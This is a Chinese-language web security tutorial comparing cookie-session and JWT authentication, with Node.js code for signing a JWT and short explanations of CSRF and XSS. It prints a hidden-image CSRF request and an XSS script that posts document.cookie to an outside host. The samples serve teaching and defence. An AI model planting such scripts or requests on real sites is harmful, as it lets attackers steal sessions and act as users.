JWT和CSRF攻擊


web服務中,用戶輸入用戶名密碼登入之后,后續訪問網站的其他功能就不用再輸入用戶名和密碼了。傳統的身份校驗機制為cookie-session機制:

cookie-session機制

  • 用戶瀏覽器訪問web網站,輸入用戶名密碼
  • 服務器校驗用戶名密碼通過之后,生成sessonid並把sessionid和用戶信息映射起來保存在服務器
  • 服務器將生成的sessionid返回給用戶瀏覽器,瀏覽器將sessionid存入cookie
  • 此后用戶對該網站發起的其他請求都將帶上cookie中保存的sessionid
  • 服務端把用戶傳過來的sessionid和保存在服務器的sessionid做對比,如果服務器中有該sessionid則代表身份驗證成功

這種方式存在以下幾個問題:

  • 代碼安全機制不完善,可能存在CSRF漏洞
  • 服務端需要保存sessionid與客戶端傳來的sessionid做對比,當服務器為集群多機的情況下,需要復制sessionid,在多台集群機器之間共享
  • 如果需要單點登入,則須將sessionid存入redis等外部存儲保證每台機器每個系統都能訪問到,如果外部存儲服務宕機,則單點登入失效

CSRF攻擊

  • 用戶訪問A網站(http://www.aaa.com),輸入用戶名密碼
  • 服務器驗證通過,生成sessionid並返回給客戶端存入cookie
  • 用戶在沒有退出或者沒有關閉A網站,cookie還未過期的情況下訪問惡意網站B
  • B網站返回含有如下代碼的html:
//假設A網站注銷用戶的url為:https://www.aaa.com/delete_user
<img src="https://www.aaa.com/delete_user" style="display:none;"/> 
  • 瀏覽器發起對A網站的請求,並帶上A網站的cookie,注銷了用戶

JWT認證方式

JWT全稱 Json Web Token,是一個長字符串,由三部分組成:Header(頭部)Payload(負載)Signature(簽名)Header.Payload.Signature,用.分割各部分內容,看起來大概就像下面這樣:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InhpYW8gamllIiwiYWRtaW4iOnRydWV9.MjcxZGFjMmQzZjNlMzdjMTU0OGZmM2FlNzFjNDkyMDAwODkzZGNiYmFkODc0MTJhYTYzMTE4MmY0NDBhNzkzZA

生成過程如下:

const crypto = require("crypto"); const base64UrlEncode = require("base64url"); //頭部信息 var header = { "alg": "HS256", //簽名算法類型,默認是 HMAC SHA256(寫成 HS256) "typ": "JWT" //令牌類型,JWT令牌統一為JWT }; //負載信息,存儲用戶信息 var payload = { "sub": "1234567890", "name": "xiao jie", "admin": true } //服務器秘鑰,用於加密生成signature,不可泄漏 var secret = "chaojidamantou"; //header部分和payload部分 var message = base64UrlEncode(JSON.stringify(header)) + "." + base64UrlEncode(JSON.stringify(payload)); //HMACSHA256加密算法 function HMACSHA256(message, secret) { return crypto.createHmac('sha256', secret).update(message).digest("hex"); } //生成簽名信息 var signature = HMACSHA256(message, secret); //header和payload部分內容默認不加密,也可以使用加密算法加密 var JWT = message + "." + base64UrlEncode(signature); console.log(JWT); 

驗證過程如下:

  • 用戶訪問網站,輸入賬號密碼登入
  • 服務器校驗通過,生成JWT,不保存JWT,直接返回給客戶端
  • 客戶端將JWT存入cookie或者localStorage
  • 此后用戶發起的請求,都將使用js從cookie或者localStorage讀取JWT放在http請求的header中,發給服務端
  • 服務端獲取header中的JWT,用base64URL算法解碼各部分內容,並在服務端用同樣的秘鑰和算法生成signature,與傳過來的signature對比,驗證JWT是否合法

使用JWT驗證,由於服務端不保存用戶信息,不用做sessonid復制,這樣集群水平擴展就變得容易了。同時用戶發請求給服務端時,前端使用JS將JWT放在header中手動發送給服務端,服務端驗證header中的JWT字段,而非cookie信息,這樣就避免了CSRF漏洞攻擊。

不過,無論是cookie-session還是JWT,都存在被XSS攻擊盜取的風險:

XSS攻擊

跨站腳本攻擊,其基本原理同sql注入攻擊類似。頁面上用來輸入信息內容的輸入框,被輸入了可執行代碼。假如某論壇網站有以下輸入域用來輸入帖子內容

發帖內容:<textarea rows="3" cols="20"></textarea> 

而惡意用戶在textarea發帖內容中填入諸如以下的js腳本:

今天很開心,學會了JWT
<script> $.ajax({ type: "post", url: "https://www.abc.com/getcookie", data: {cookie : document.cookie} }); </script> 

那么當其他用戶訪問該帖子的時候,用戶的cookie就會被發送到abc域名的服務器上了。

為了避免xss攻擊,客戶端和服務端都應該對提交數據進行xss攻擊轉義。




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM